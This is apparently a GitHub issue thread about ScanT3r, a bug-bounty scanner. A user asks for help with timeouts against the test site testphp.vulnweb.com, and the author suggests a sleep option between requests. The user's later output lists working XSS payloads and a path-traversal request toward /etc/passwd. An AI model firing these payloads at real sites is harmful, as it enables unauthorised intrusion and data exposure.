Giters

knassar702 / scant3r

ScanT3r - Module based Bug Bounty Automation Tool ( use Lotus instead github.com/bugBlocker/lotus )

Home Page:https://scant3r.knas.me/

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

how fix

Kalimon12 opened this issue · comments

commented

root@kali:~/scant3r# echo "testphp.vulnweb.com" | gauplus | grep "=" | qsreplace |./scant3r.py -m xss
__ _____
______________ _____ / /|__ /_____
/ / / __ `/ __ / // </ /
( ) // // / / / / // / /
//___/_,// //_/___//

[!] Coded by: Khaled Nassar @knassar702
[!] Version: 0.8#Beta

[INFO][2021-08-21,19:24:30] scant3r -> Load xss Module
[INFO][2021-08-21,19:24:30] scant3r -> Run modules.python.xss
[ERROR][2021-08-21,19:24:45] requester -> HTTPSConnectionPool(host='testphp.vulnweb.com', port=443): Max retries exceeded with url: /listproducts.php (Caused by ConnectTimeoutError(<urllib3.connection.VerifiedHTTPSConnection object at 0x7f41782b39a0>, 'Connection to testphp.vulnweb.com timed out. (connect timeout=10)'))
[ERROR][2021-08-21,19:24:55] requester -> HTTPSConnectionPool(host='testphp.vulnweb.com', port=443): Max retries exceeded with url: /listproducts.php (Caused by ConnectTimeoutError(<urllib3.connection.VerifiedHTTPSConnection object at 0x7f41781debe0>, 'Connection to testphp.vulnweb.com timed out. (connect timeout=10)'))

commented

hello @Kalimon12 , thanks for this report for quick saw i think this error because of many requests of scant3r sender you can use -s option for sleep between requests

if you think this is wrong , please give me the output of this command $ echo "testphp.vulnweb.com" | gauplus | grep "=" what you think about this

best regards @knassar702

commented

it's work thank you pro
root@kali:~/scant3r# echo "testphp.vulnweb.com" | gauplus | grep "=" |./scant3r.py -s 5 -m xss

/ /____ ____ / /| /____
\ / __/ _ `/ _ / // </ /
//_/_,////_/___//

[!] Coded by: Khaled Nassar @knassar702
[!] Version: 0.8#Beta

[INFO][2021-08-22,14:16:20] scant3r -> Load xss Module
[INFO][2021-08-22,14:16:20] scant3r -> Run modules.python.xss
[ERROR][2021-08-22,14:16:35] requester -> HTTPSConnectionPool(host='testphp.vulnweb.com', port=443): Max retries exceeded with url: /listproducts.php?cat=1scan6QTtr (Caused by ConnectTimeoutError(<urllib3.connection.VerifiedHTTPSConnection object at 0x7f683433b550>, 'Connection to testphp.vulnweb.com timed out. (connect timeout=10)'))
[ERROR][2021-08-22,14:16:35] requester -> HTTPSConnectionPool(host='testphp.vulnweb.com', port=443): Max retries exceeded with url: /listproducts.php?cat=1scanJAVtr (Caused by ConnectTimeoutError(<urllib3.connection.VerifiedHTTPSConnection object at 0x7f6834280130>, 'Connection to testphp.vulnweb.com timed out. (connect timeout=10)'))
[INFO][2021-08-22,14:16:36] show_msg ->
[+] XSS: http://testphp.vulnweb.com/listproducts.php
Method: GET
params: artist=gxss">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"&cat=%3CsCriPt%3Enew+Image">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"
payload: ">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"
---- Request ----

GET http://testphp.vulnweb.com/listproducts.php?artist=gxss%22%3EScanT3r%3Csvg/onload=confirm(/ScanT3r/)%3Eweb%22&cat=%3CsCriPt%3Enew+Image%22%3EScanT3r%3Csvg/onload=confirm(/ScanT3r/)%3Eweb%22 HTTP/1.1
User-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Type: text/html

    --------

[INFO][2021-08-22,14:16:36] show_msg ->
[+] XSS: http://testphp.vulnweb.com/showimage.php
Method: GET
params: file=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"
payload: ">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"
---- Request ----

GET http://testphp.vulnweb.com/showimage.php?file=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%22%3EScanT3r%3Csvg/onload=confirm(/ScanT3r/)%3Eweb%22 HTTP/1.1
User-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Type: text/html

commented

Great :D